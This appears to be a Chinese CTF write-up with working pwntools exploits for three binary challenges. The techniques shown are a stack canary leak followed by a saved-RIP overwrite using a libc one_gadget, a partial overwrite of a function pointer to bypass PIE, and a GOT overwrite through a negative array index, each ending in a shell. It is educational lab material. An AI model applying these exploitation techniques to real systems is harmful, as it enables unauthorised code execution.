Exploit Class
根据readData和writedata函数的逻辑发现数组是char [22][12],主要是判断越界的if语句有逻辑漏洞
readData函数
writeData函数
我通过输入正好越界的数组地址发现Canary被破坏,程序退出时SIGARBT,发现canary正好在数组上方…
当然也可以在比较canary时下断点,在栈上找到RAX是和哪一个数据比较的
这里发现在0x7fffffffdbf0处,那么就可以得出相对数组的偏移了
接下来就可以泄露canary了,由于canary的设计就考虑了被顺带打印出来,最低位一定是\x00,那么填满数组的21行,再在22行输入单个字符防止零截断,就可以顺带打印出canary
由于程序保护全开,不过PIE对本题没什么影响,这里我选择泄露栈上的__libc_start_main函数地址,推算出libc基址后用one_gadget找到一发getshell的偏移覆盖saved rip,泄露方法同canary
不过需要注意的是,每次read写入12字节,调试发现是entry=24时,retaddr在偏移8处,所以这里只能把8字节的p64(one_gadget)分两次写入,ROP方法也是一样的
ROP方法需要pop rdi ret,如果用elf中的gadget,需要计算出程序加载基址,必须再次泄露绕过PIE,这里我直接用了libc中的pop rdi ret,不需要再泄露一次了
不过这里我打远程的时候有一些玄学问题,给的libc好像有点奇怪,可能是因为比赛也结束好几天了……exp中的gadget都是选择的我本地运行环境的libc
EXP:
from pwn import *
p = process("./exploitClass")
elf = ELF("./exploitClass")
libc = elf.libc
def read(index):
p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
p.sendline("1")
p.recvuntil("Which entry to show?\n")
p.sendline(str(index))
ret_info = p.recvuntil("\n")
return ret_info[:-1]
def write(index,data):
p.recvuntil("Enter 1 to read, 2 to write and any other number to exit!\n")
p.sendline("2")
p.recvuntil("Which entry to write?\n")
p.sendline(str(index))
p.recvuntil("What to write?\n")
p.send(data)
write(21,"A"*12)
write(22,"B")
canary = u64(read(21)[12:20])-ord("B")
print "canary = " + hex(canary)
#libc_start_main offset = 48
write(22,"1"*12)
write(23,"1"*12)
write(24,"1"*12)
write(25,"1"*12)
libc_base=u64(read(21)[12+48:20+48-2].ljust(8,'\x00')) - 240 - libc.symbols['__libc_start_main']
print "libc_base = " + hex(libc_base)
raw_input()
pop_rdi_ret = 0x21102 + libc_base
p64_pop_rdi = p64(pop_rdi_ret)
binsh_addr = 0x18cd57 + libc_base
system = libc.symbols['system'] + libc_base
write(22,p64(canary))
#one_gadget
write(24,"1"*8+p64(libc_base+0x45216)[0:4])
write(25,p64(libc_base+0x45216)[4:8])
#write(24,"1"*8+p64_pop_rdi[0:4])
#write(25,p64_pop_rdi[4:8]+p64(binsh_addr))
#write(26,p64(system))
p.sendline("3")
p.interactive()
Importantservice
IDA简单逆向下,发现逻辑还是挺清楚的,可以让read溢出一次,但是程序开了PIE和ASLR,用于泄露的话就没办法劫持流程了
同时发现程序中有不需要参数的givemeshellpls函数
本题需要注意到函数指针v5在栈上,原本v5被赋值成dologic,而调试发现dologic和giveshell的函数只有最低一字节不同,正好绕过PIE
用peda的info functions查看
这里如果要给开了PIE的程序下断点,我一般是先vmmap看ELF的基址,然后手动加上函数偏移
判断的绕过也比较简单,第二个为0即可
通常,一个内存页大小为0x1000,这表明地址的后12位,3个十六进制数的地址是始终不变的,也就是patial write bypass PIE
这几题实际操作中发现涉及scanf的读入整数最好都用sendline,否则会卡住
EXP:
from pwn import *
p = process("./importantservice")
elf = ELF("./importantservice")
#gdb-peda info functions
shell_func = 0x11a9
dologic = 0x11bc
#send(payload)不能用sendline
#这里我尝试payload = 'A'*0x400+'\xa9\x11'
#之后sendline("1026 0 ")
#会失败,因为程序运行时dologic = 0x00005555555551bc
#只是最后两位没有变,这样的话改了4位
p.recv()
p.sendline("1025 0")
p.recv()
payload = 'A'*0x400+'\xa9'
p.send(payload)
p.interactive()
kindergarten
有漏洞的逻辑,主要是没有判断数组下标为负值的情况
发现array在bss段上
而got和plt都在数组的低地址处,这表明输入负数下标就可以有机会篡改表中数值
这里因为exit没有被调用过,所以选择改exit@plt,偏移为-0x50
程序提供了libc,这里用one_gadget这个工具找到一发getshell的偏移
调试时发现满足RAX==0的条件
实际写exp时需要注意p8()和u8()的signed=True参数,一开始写的时候一直失败,后来看context.log_level=’debug’的输出发现这一点
泄露出函数在GOT表中的位置后计算出libc基址,调整one_gadget的地址
这里交互时也可以发现都必须是有符号的数,写入的负数输出时仍然是负数
Exp中leak数据给出了2种方法,一种是不断的p8()然后一次性u64(),第二种是通过位运算得出
EXP:
from pwn import *
p = process("./kindergarten",env = {"LD_PRELOAD":"./libc-2.23.so"})
elf = ELF("./kindergarten")
libc = ELF("./libc-2.23.so")
context.log_level = 'debug'
def leak(io,offset):
buf=''
addr = 0
for i in xrange(8):
io.recvuntil("give me an index:\n> ")
io.sendline(str(offset+i)) # input < 0 ,最先打印的是低字节
io.recvuntil("is ")
byte = int(io.recvuntil(".",drop=True))
io.sendline(str(byte))
buf += p8(byte,signed=True) #这里符合p64,低字节在前
addr |= ((byte&0xff)<<(8*i))
#不影响其他位的或运算,选择&0xff
return u64(buf) # return addr 两种方法均可
def write(io,offset,data):
for i in xrange(len(data)):
io.recvuntil("give me an index:\n> ")
io.sendline(str(offset+i))
io.recvline()
byte = u8(data[i],signed=True)
io.sendline(str(byte))
#手动交互得到的也是-1这样的数据
#从调试输出得到p8和u8都必须加上signed = True
#当然write函数中也可以用移位,再u8()
one_gadget_off = 0x45216 # rax == NULL,satisfied
array = 0x4080 # array = setvbuf.got.plt + 0x60
setvbuf_addr = leak(p,-0x60)
print "setvbuf_addr = " + hex(setvbuf_addr)
libc_base = setvbuf_addr - libc.symbols['setvbuf']
one_gadget = libc_base + one_gadget_off
#把exit@plt改成one_gadget
write(p,-0x50,p64(one_gadget))
p.sendline("Give me the shell")
p.recv()
p.interactive()
PS:PWNCTF的地址https://uni.hctf.fun/pages/home/ 题目仍然是可以下载的